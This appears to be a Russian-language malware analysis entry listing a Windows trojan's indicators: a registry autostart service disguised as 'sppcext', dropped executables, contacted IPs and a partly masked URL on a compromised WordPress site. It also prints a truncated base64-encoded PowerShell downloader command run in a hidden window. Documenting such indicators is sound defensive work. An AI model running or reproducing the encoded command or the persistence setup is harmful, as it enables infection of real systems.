Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\sppcext] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\sppcext] 'ImagePath' = '"%WINDIR%\SysWOW64\DDOIProxy\sppcext.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABOAFYARgBLAEwAdQB6AGcAPQAnAEoAUQBQAEkASgBiAHYAZQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBgAEMAYABVAFIAYABpAHQAWQBQAFIATwBUAG8AQwBgAE8ATAAiAC...
- %HOMEPATH%\903.exe
- %WINDIR%\syswow64\ddoiproxy\sppcext.exe
- %HOMEPATH%\903.exe в %WINDIR%\syswow64\ddoiproxy\sppcext.exe
- '17#.#0.229.168':443
- '18#.#4.252.13':443
- http://el####gelondon.com/wp-admin/QS/
- http://18#.##.252.13:443/22Jc/43INZ0/8oQw/8aCKfYI/CzmPJxTuL5D0v/ via 18#.#4.252.13
- DNS ASK el####gelondon.com
- '%HOMEPATH%\903.exe'
- '%WINDIR%\syswow64\ddoiproxy\sppcext.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABOAFYARgBLAEwAdQB6AGcAPQAnAEoAUQBQAEkASgBiAHYAZQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBgAEMAYABVAFIAYABpAHQAWQBQAFIATwBUAG8AQwBgAE8ATAAiAC...' (со скрытым окном)